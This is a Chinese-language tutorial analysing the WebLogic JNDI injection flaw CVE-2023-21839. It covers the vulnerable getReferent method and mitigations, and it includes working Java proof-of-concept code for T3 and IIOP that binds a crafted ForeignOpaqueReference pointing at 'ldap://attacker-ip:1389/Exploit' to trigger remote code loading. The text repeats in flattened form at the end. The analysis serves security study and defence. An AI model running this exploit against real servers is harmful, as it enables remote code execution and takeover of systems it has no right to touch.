CVE-2023-21839分析
字数 1593 2025-08-24 20:49:31

WebLogic JNDI注入漏洞分析 (CVE-2023-21839) 教学文档

漏洞概述

CVE-2023-21839是WebLogic服务器中的一个JNDI注入漏洞,影响WebLogic 10.3.6.0版本。该漏洞允许攻击者通过T3/IIOP协议远程绑定恶意对象到服务端,并通过JNDI查找触发远程代码执行。

漏洞原理

核心机制

  1. JNDI远程绑定机制

    • WebLogic的T3与IIOP协议支持使用JNDI远程绑定对象并查询
    • 绑定过程中数据通过序列化传输
  2. OpaqueReference接口

    • 当远程对象继承自OpaqueReference时,客户端进行JNDI查找时,服务端会调用远程对象的getReferent()方法
    • weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并实现了getReferent方法
  3. 漏洞触发点

    • ForeignOpaqueReference.getReferent()方法中存在retVal = context.lookup(this.remoteJNDIName)实现
    • 攻击者可以控制remoteJNDIName参数,导致JNDI注入

与CVE-2020-2551的对比

特性 CVE-2023-21839 CVE-2020-2551
协议 T3或IIOP均可 仅IIOP
触发方式 远程绑定后查询触发 反序列化触发
利用点 ForeignOpaqueReference.getReferent() RMI-IIOP传输中的反序列化

漏洞利用分析

关键代码分析

漏洞核心在ForeignOpaqueReference.getReferent()方法:

public Object getReferent(Name name, Context ctx) throws NamingException {
    Context context = null;
    Object retVal = null;
    try {
        if (this.jndiEnvironment != null) {
            context = new InitialContext(this.jndiEnvironment);
        } else {
            context = ctx;
        }
        
        retVal = context.lookup(this.remoteJNDIName); // 漏洞触发点
        // ...
    }
    // ...
}

利用条件

  1. 控制两个关键属性:

    • remoteJNDIName:通过反射设置为恶意LDAP/RMI地址
    • jndiEnvironment:通过反射设置InitialContext环境
  2. 攻击流程:

    • 创建ForeignOpaqueReference对象
    • 通过反射设置恶意属性
    • 通过T3/IIOP协议绑定到WebLogic
    • 触发lookup查询

漏洞复现

环境准备

依赖库

<dependency>
    <groupId>weblogic</groupId>
    <artifactId>wlfullclient</artifactId>
    <version>0.1</version>
</dependency>
<dependency>
    <groupId>weblogic</groupId>
    <artifactId>spring</artifactId>
    <version>0.1</version>
</dependency>
<dependency>
    <groupId>weblogic</groupId>
    <artifactId>logging</artifactId>
    <version>0.1</version>
</dependency>

T3协议利用POC

import weblogic.deployment.jms.ForeignOpaqueReference;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.Field;
import java.util.Hashtable;

public class CVE_2023_21839 {
    public static void main(String[] args) throws Exception {
        String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
        String url = "t3://192.168.135.129:7001"; // 目标地址
        
        Hashtable env1 = new Hashtable();
        env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env1.put(Context.PROVIDER_URL, url);
        InitialContext c = new InitialContext(env1);

        // 配置恶意ForeignOpaqueReference对象
        Hashtable env2 = new Hashtable();
        env2.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        
        ForeignOpaqueReference f = new ForeignOpaqueReference();
        
        // 通过反射设置jndiEnvironment
        Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
        jndiEnvironment.setAccessible(true);
        jndiEnvironment.set(f, env2);
        
        // 通过反射设置remoteJNDIName
        Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
        remoteJNDIName.setAccessible(true);
        String ldap = "ldap://attacker-ip:1389/Exploit";
        remoteJNDIName.set(f, ldap);

        // 绑定恶意对象
        c.rebind("exploit", f);
        
        // 触发漏洞
        try {
            c.lookup("exploit");
        } catch (Exception e) {}
    }
}

IIOP协议利用POC

IIOP协议需要额外处理NAT网络问题:

import weblogic.deployment.jms.ForeignOpaqueReference;
import weblogic.iiop.IOPProfile;
// ...其他导入同上...

public class CVE_2023_21839_IIOP {
    public static void main(String[] args) throws Exception {
        String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
        String url = "iiop://192.168.135.129:7001";
        long TIME_OUT = 15000L;
        
        Hashtable env1 = new Hashtable();
        env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env1.put(Context.PROVIDER_URL, url);
        env1.put("weblogic.jndi.requestTimeout", TIME_OUT + "");
        
        // 解决IIOP的NAT问题
        IOPProfile.IP = "192.168.135.129";
        IOPProfile.PORT = 7001;
        
        InitialContext c = new InitialContext(env1);
        
        // 其余部分与T3版本相同
        // ...
    }
}

防御措施

  1. 官方补丁

    • 应用Oracle官方发布的安全补丁
  2. 临时缓解措施

    • 禁用T3协议或限制访问来源
    # 在WebLogic控制台中限制T3协议
    
    • 使用网络防火墙限制IIOP端口访问
  3. 安全配置

    • 启用WebLogic的JNDI注入防护机制
    • 限制JNDI查找的协议和地址
  4. 代码层面防护

    • 对ForeignOpaqueReference类进行安全加固
    • 添加对remoteJNDIName的输入验证

技术总结

  1. 漏洞本质:通过WebLogic的JNDI远程绑定机制,结合OpaqueReference接口特性,实现JNDI注入

  2. 利用条件

    • 能够连接到WebLogic的T3/IIOP服务
    • 能够控制ForeignOpaqueReference对象的属性
  3. 影响范围

    • WebLogic 10.3.6.0及受影响版本
    • 使用T3/IIOP协议的服务
  4. 攻击效果

    • 远程代码执行
    • 服务器完全控制

扩展研究

  1. 其他OpaqueReference实现类

    • 检查WebLogic中其他实现OpaqueReference接口的类是否存在类似问题
  2. 协议差异分析

    • T3与IIOP协议在漏洞利用中的具体差异
    • 网络环境对协议选择的影响
  3. 绕过防护技术

    • 在防护措施下的潜在绕过方法
    • 替代利用链研究
  4. 自动化检测

    • 基于流量特征的漏洞检测
    • 基于字节码的补丁验证
WebLogic JNDI注入漏洞分析 (CVE-2023-21839) 教学文档 漏洞概述 CVE-2023-21839是WebLogic服务器中的一个JNDI注入漏洞,影响WebLogic 10.3.6.0版本。该漏洞允许攻击者通过T3/IIOP协议远程绑定恶意对象到服务端,并通过JNDI查找触发远程代码执行。 漏洞原理 核心机制 JNDI远程绑定机制 : WebLogic的T3与IIOP协议支持使用JNDI远程绑定对象并查询 绑定过程中数据通过序列化传输 OpaqueReference接口 : 当远程对象继承自OpaqueReference时,客户端进行JNDI查找时,服务端会调用远程对象的getReferent()方法 weblogic.deployment.jms.ForeignOpaqueReference 继承自OpaqueReference并实现了getReferent方法 漏洞触发点 : ForeignOpaqueReference.getReferent()方法中存在 retVal = context.lookup(this.remoteJNDIName) 实现 攻击者可以控制remoteJNDIName参数,导致JNDI注入 与CVE-2020-2551的对比 | 特性 | CVE-2023-21839 | CVE-2020-2551 | |------|----------------|---------------| | 协议 | T3或IIOP均可 | 仅IIOP | | 触发方式 | 远程绑定后查询触发 | 反序列化触发 | | 利用点 | ForeignOpaqueReference.getReferent() | RMI-IIOP传输中的反序列化 | 漏洞利用分析 关键代码分析 漏洞核心在 ForeignOpaqueReference.getReferent() 方法: 利用条件 控制两个关键属性: remoteJNDIName :通过反射设置为恶意LDAP/RMI地址 jndiEnvironment :通过反射设置InitialContext环境 攻击流程: 创建ForeignOpaqueReference对象 通过反射设置恶意属性 通过T3/IIOP协议绑定到WebLogic 触发lookup查询 漏洞复现 环境准备 依赖库 : T3协议利用POC IIOP协议利用POC IIOP协议需要额外处理NAT网络问题: 防御措施 官方补丁 : 应用Oracle官方发布的安全补丁 临时缓解措施 : 禁用T3协议或限制访问来源 使用网络防火墙限制IIOP端口访问 安全配置 : 启用WebLogic的JNDI注入防护机制 限制JNDI查找的协议和地址 代码层面防护 : 对ForeignOpaqueReference类进行安全加固 添加对remoteJNDIName的输入验证 技术总结 漏洞本质 :通过WebLogic的JNDI远程绑定机制,结合OpaqueReference接口特性,实现JNDI注入 利用条件 : 能够连接到WebLogic的T3/IIOP服务 能够控制ForeignOpaqueReference对象的属性 影响范围 : WebLogic 10.3.6.0及受影响版本 使用T3/IIOP协议的服务 攻击效果 : 远程代码执行 服务器完全控制 扩展研究 其他OpaqueReference实现类 : 检查WebLogic中其他实现OpaqueReference接口的类是否存在类似问题 协议差异分析 : T3与IIOP协议在漏洞利用中的具体差异 网络环境对协议选择的影响 绕过防护技术 : 在防护措施下的潜在绕过方法 替代利用链研究 自动化检测 : 基于流量特征的漏洞检测 基于字节码的补丁验证